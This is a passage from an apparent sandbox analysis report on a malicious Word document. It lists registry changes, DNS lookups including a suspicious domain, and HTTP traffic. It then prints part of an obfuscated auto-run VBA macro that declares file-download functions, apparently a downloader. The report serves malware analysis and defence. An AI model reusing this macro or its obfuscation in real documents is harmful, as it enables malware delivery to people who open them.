  1847. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1848. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1849. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  1869. ]
  1870.  
  1871. [*] Deleted Registry Keys: [
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\hfk",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\\\x7f*j",
  1878. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\DAC9024F54D8F6DF94935FB1732638CA6AD77C13",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\656487\\656487",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1902. ]
  1903.  
  1904. [*] DNS Communications: [
  1905. {
  1906. "type": "A",
  1907. "request": "vicomcleaning.info",
  1908. "answers": [
  1909. {
  1910. "data": "188.165.69.32",
  1911. "type": "A"
  1912. }
  1913. ]
  1914. },
  1915. {
  1916. "type": "A",
  1917. "request": "apps.identrust.com",
  1918. "answers": [
  1919. {
  1920. "data": "192.35.177.64",
  1921. "type": "A"
  1922. },
  1923. {
  1924. "data": "apps.digsigtrust.com",
  1925. "type": "CNAME"
  1926. }
  1927. ]
  1928. },
  1929. {
  1930. "type": "A",
  1931. "request": "isrg.trustid.ocsp.identrust.com",
  1932. "answers": [
  1933. {
  1934. "data": "204.2.193.146",
  1935. "type": "A"
  1936. },
  1937. {
  1938. "data": "isrg.trustid.ocsp.identrust.com.edgesuite.net",
  1939. "type": "CNAME"
  1940. },
  1941. {
  1942. "data": "a279.dscq.akamai.net",
  1943. "type": "CNAME"
  1944. },
  1945. {
  1946. "data": "204.2.193.145",
  1947. "type": "A"
  1948. }
  1949. ]
  1950. },
  1951. {
  1952. "type": "A",
  1953. "request": "ocsp.int-x3.letsencrypt.org",
  1954. "answers": [
  1955. {
  1956. "data": "204.2.193.146",
  1957. "type": "A"
  1958. },
  1959. {
  1960. "data": "a771.dscq.akamai.net",
  1961. "type": "CNAME"
  1962. },
  1963. {
  1964. "data": "204.2.193.145",
  1965. "type": "A"
  1966. },
  1967. {
  1968. "data": "ocsp.int-x3.letsencrypt.org.edgesuite.net",
  1969. "type": "CNAME"
  1970. }
  1971. ]
  1972. }
  1973. ]
  1974.  
  1975. [*] Domains: [
  1976. {
  1977. "ip": "204.2.193.146",
  1978. "domain": "isrg.trustid.ocsp.identrust.com"
  1979. },
  1980. {
  1981. "ip": "204.2.193.146",
  1982. "domain": "ocsp.int-x3.letsencrypt.org"
  1983. },
  1984. {
  1985. "ip": "192.35.177.64",
  1986. "domain": "apps.identrust.com"
  1987. },
  1988. {
  1989. "ip": "188.165.69.32",
  1990. "domain": "vicomcleaning.info"
  1991. }
  1992. ]
  1993.  
  1994. [*] Network Communication - ICMP: []
  1995.  
  1996. [*] Network Communication - HTTP: [
  1997. {
  1998. "count": 1,
  1999. "body": "",
  2000. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2001. "user-agent": "Microsoft-CryptoAPI/6.1",
  2002. "method": "GET",
  2003. "host": "ocsp.digicert.com",
  2004. "version": "1.1",
  2005. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2006. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2007. "port": 80
  2008. },
  2009. {
  2010. "count": 1,
  2011. "body": "",
  2012. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2013. "user-agent": "Microsoft-CryptoAPI/6.1",
  2014. "method": "GET",
  2015. "host": "ocsp.msocsp.com",
  2016. "version": "1.1",
  2017. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2018. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2019. "port": 80
  2020. },
  2021. {
  2022. "count": 1,
  2023. "body": "",
  2024. "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  2025. "user-agent": "Microsoft-CryptoAPI/6.1",
  2026. "method": "GET",
  2027. "host": "www.download.windowsupdate.com",
  2028. "version": "1.1",
  2029. "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  2030. "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 86496\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Feb 2019 16:53:13 GMT\r\nIf-None-Match: \"80e22c19cfcad41:0\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
  2031. "port": 80
  2032. },
  2033. {
  2034. "count": 1,
  2035. "body": "",
  2036. "uri": "http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D",
  2037. "user-agent": "Microsoft-CryptoAPI/6.1",
  2038. "method": "GET",
  2039. "host": "isrg.trustid.ocsp.identrust.com",
  2040. "version": "1.1",
  2041. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D",
  2042. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: isrg.trustid.ocsp.identrust.com\r\n\r\n",
  2043. "port": 80
  2044. },
  2045. {
  2046. "count": 1,
  2047. "body": "",
  2048. "uri": "http://ocsp.int-x3.letsencrypt.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgMei76Ilz6f%2FR4GULCmhldIXg%3D%3D",
  2049. "user-agent": "Microsoft-CryptoAPI/6.1",
  2050. "method": "GET",
  2051. "host": "ocsp.int-x3.letsencrypt.org",
  2052. "version": "1.1",
  2053. "path": "/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgMei76Ilz6f%2FR4GULCmhldIXg%3D%3D",
  2054. "data": "GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgMei76Ilz6f%2FR4GULCmhldIXg%3D%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.int-x3.letsencrypt.org\r\n\r\n",
  2055. "port": 80
  2056. },
  2057. {
  2058. "count": 13,
  2059. "body": "",
  2060. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2061. "user-agent": "Microsoft-CryptoAPI/6.1",
  2062. "method": "GET",
  2063. "host": "crl.microsoft.com",
  2064. "version": "1.1",
  2065. "path": "/pki/crl/products/microsoftrootcert.crl",
  2066. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2067. "port": 80
  2068. },
  2069. {
  2070. "count": 1,
  2071. "body": "",
  2072. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2073. "user-agent": "Microsoft-CryptoAPI/6.1",
  2074. "method": "GET",
  2075. "host": "crl.microsoft.com",
  2076. "version": "1.1",
  2077. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2078. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2079. "port": 80
  2080. },
  2081. {
  2082. "count": 1,
  2083. "body": "",
  2084. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2085. "user-agent": "Microsoft-CryptoAPI/6.1",
  2086. "method": "GET",
  2087. "host": "ocsp.digicert.com",
  2088. "version": "1.1",
  2089. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  2090. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 150849\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 10:50:30 GMT\r\nIf-None-Match: \"5ced1276-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2091. "port": 80
  2092. },
  2093. {
  2094. "count": 1,
  2095. "body": "",
  2096. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2097. "user-agent": "Microsoft-CryptoAPI/6.1",
  2098. "method": "GET",
  2099. "host": "ocsp.digicert.com",
  2100. "version": "1.1",
  2101. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  2102. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nCache-Control: max-age = 135176\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 05:30:18 GMT\r\nIf-None-Match: \"5cecc76a-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2103. "port": 80
  2104. },
  2105. {
  2106. "count": 1,
  2107. "body": "",
  2108. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2109. "user-agent": "Microsoft-CryptoAPI/6.1",
  2110. "method": "GET",
  2111. "host": "ocsp.digicert.com",
  2112. "version": "1.1",
  2113. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  2114. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 168744\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 15:00:08 GMT\r\nIf-None-Match: \"5ced4cf8-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2115. "port": 80
  2116. },
  2117. {
  2118. "count": 1,
  2119. "body": "",
  2120. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  2121. "user-agent": "Microsoft-CryptoAPI/6.1",
  2122. "method": "GET",
  2123. "host": "ocsp.pki.goog",
  2124. "version": "1.1",
  2125. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  2126. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2127. "port": 80
  2128. },
  2129. {
  2130. "count": 1,
  2131. "body": "",
  2132. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
  2133. "user-agent": "Microsoft-CryptoAPI/6.1",
  2134. "method": "GET",
  2135. "host": "ocsp.digicert.com",
  2136. "version": "1.1",
  2137. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
  2138. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D HTTP/1.1\r\nCache-Control: max-age = 161796\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 13:00:33 GMT\r\nIf-None-Match: \"5ced30f1-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2139. "port": 80
  2140. }
  2141. ]
  2142.  
  2143. [*] Network Communication - SMTP: []
  2144.  
  2145. [*] Network Communication - Hosts: []
  2146.  
  2147. [*] Network Communication - IRC: []
  2148.  
  2149. [*] Static Analysis: {
  2150. "office": {
  2151. "Macro": {
  2152. "Code": {
  2153. "Macro1": [
  2154. [
  2155. "ThisDocument.cls",
  2156. "#If 1 And VBA7 And Win64 And 1 And 1 And 1 Then\nPrivate Ue7CI3KCoNr As Integer\nPrivate SbX0IAlp6oZRo7GE0 As Integer\nPrivate Declare PtrSafe Function URLDownloadToFile Lib \"urlmon\" Alias _\n\"URLDownloadToFileA\" (ByVal CSaMm4YT9vN As Long, _\nByVal vOq15rJj7 As String, _\nByVal R3DVkwg5gOAm6CcuGf As String, _\nByVal vWyX8 As Long, _\nByVal FOuhxYMx As Long) As LongPtr\nPrivate nW6Z8F5cp As Integer\nPrivate OTnlkaoCE6oBO As Integer\n#Else\nPrivate Ue7CI3KCoNr As Integer\nPrivate FzcTfB3 As Integer\nPrivate Declare Function URLDownloadToFile Lib \"urlmon\" Alias _\n\"URLDownloadToFileA\" (ByVal CSaMm4YT9vN As Long, _\nByVal vOq15rJj7 As String, _\nByVal R3DVkwg5gOAm6CcuGf As String, _\nByVal vWyX8 As Long, _\nByVal FOuhxYMx As Long) As Long\nPrivate Declare Function InternetOpen Lib \"wininet\" Alias \"InternetOpenA\" (ByVal SFuy0ue6F As String, ByVal LVfld0rgrghRPodU As Long, ByVal kqnb4 As String, ByVal tWOrVo04sz As String, ByVal qffQacZGdm As Long) As Long\nPrivate Declare Function InternetCloseHandle Lib \"wininet\" (ByVal haKe3QHUx As Long) As Integer\nPrivate Declare Function InternetReadFile Lib \"wininet\" (ByVal UnJeHc8 As Long, ByVal NmV2gmnhaj9Ct As String, ByVal PpZ9oMIBjn5XW7 As Long, OCX1OoRFnlb6 As Long) As Integer\nPrivate Declare Function InternetOpenUrl Lib \"wininet\" Alias \"InternetOpenUrlA\" (ByVal vmd4KG4aYeE9pu As Long, ByVal JxdyPUAfPV3h As String, ByVal kORA2oYi As String, ByVal QWYfT As Long, ByVal oTvYjyNBUUUb As Long, ByVal oL7wGM80cWf As Long) As Long\nPrivate kcPa7TnPyUb0E6gXfW As Integer\n\n#End If\nPublic r53u4nc\nSub Document_Open()\n\nSelect Case -421\nCase (216 + 289 + (-93 - (-32) + -865)): r53u4nc = Array(l5Qu0IpXCE(\"T5\", \"(W\"), ahSaAw0h(\"E\\\", \"V/\"), HDEti75c(\"MQ\", \"la\"), iD5c9PJf8K(\"Pb\", \"ei\"), Uu0hWQa5(\"S,\", \";A\"), Grrr0fvOe(\"h5\", \"9F\"), NTGoRCvic(\"e3\", \"tz\"), zhrdJCQxE(\"lN\", \"?+\"), ArmjvxE(\"lj\", \"<4\"), GFRC1xQH(\".[\", \"QC\"), ZiGwBLDR3Kd(\"AZ\", \"bV\"), s5Lagjw5m(\"p|\", \"SG\"), ftICRXW6I(\"p<\", \"Mw\"), XLJDdezhP9lSk(\"lC\", \"I6\"), ELk3zBm4WdTd(\"iM\", \"4:\"), zB1jevQih(\"cc\", \"*?\"), CmaDNsXSStKW(\"a}\", \"Fl\"), Vu0ojWQqybp(\"tI\", \"IX\"), UWVuzd2m5a(\"i/\", \"eg\"), teePovJThqk(\"oS\", \"pB\"), wXXOBwP(\"ny\", \"uB\"), zXV4j5tC(\"0\", \"E\"), dfRj09GGx9(\"/\", \"*\"), zXV4j5tC(\"0\", \"E\"), dfRj09GGx9(\"/\", \"*\"), zXV4j5tC(\"0\", \"E\"), dfRj09GGx9(\"/\", \"*\"))\n\nCase (-89 + (405) - (379 + 236) + (-967)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case -547\nCase (198 + (948) - (-913 + 654) + (-240)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (-786 + -331 + (170 - (-759) + -359)): Mm1SO\n\nEnd Select\n\n\nEnd Sub\nSub Mm1SO()\n\nSelect Case 2148\nCase (297 + (-7) - (-101 + -314) + (420)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nCase (752 + 857 + (295 - (-230) + 14)): Dim HNzy1totL0eWMcVYJ7u\n\nEnd Select\n\n\n\nSelect Case -808\nCase (447 + 270 + (-793 - (364) + -368)): Dim G1mg7mfiRX\n\nCase (-230 + (-944) - (-981 + 340) + (-179)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = 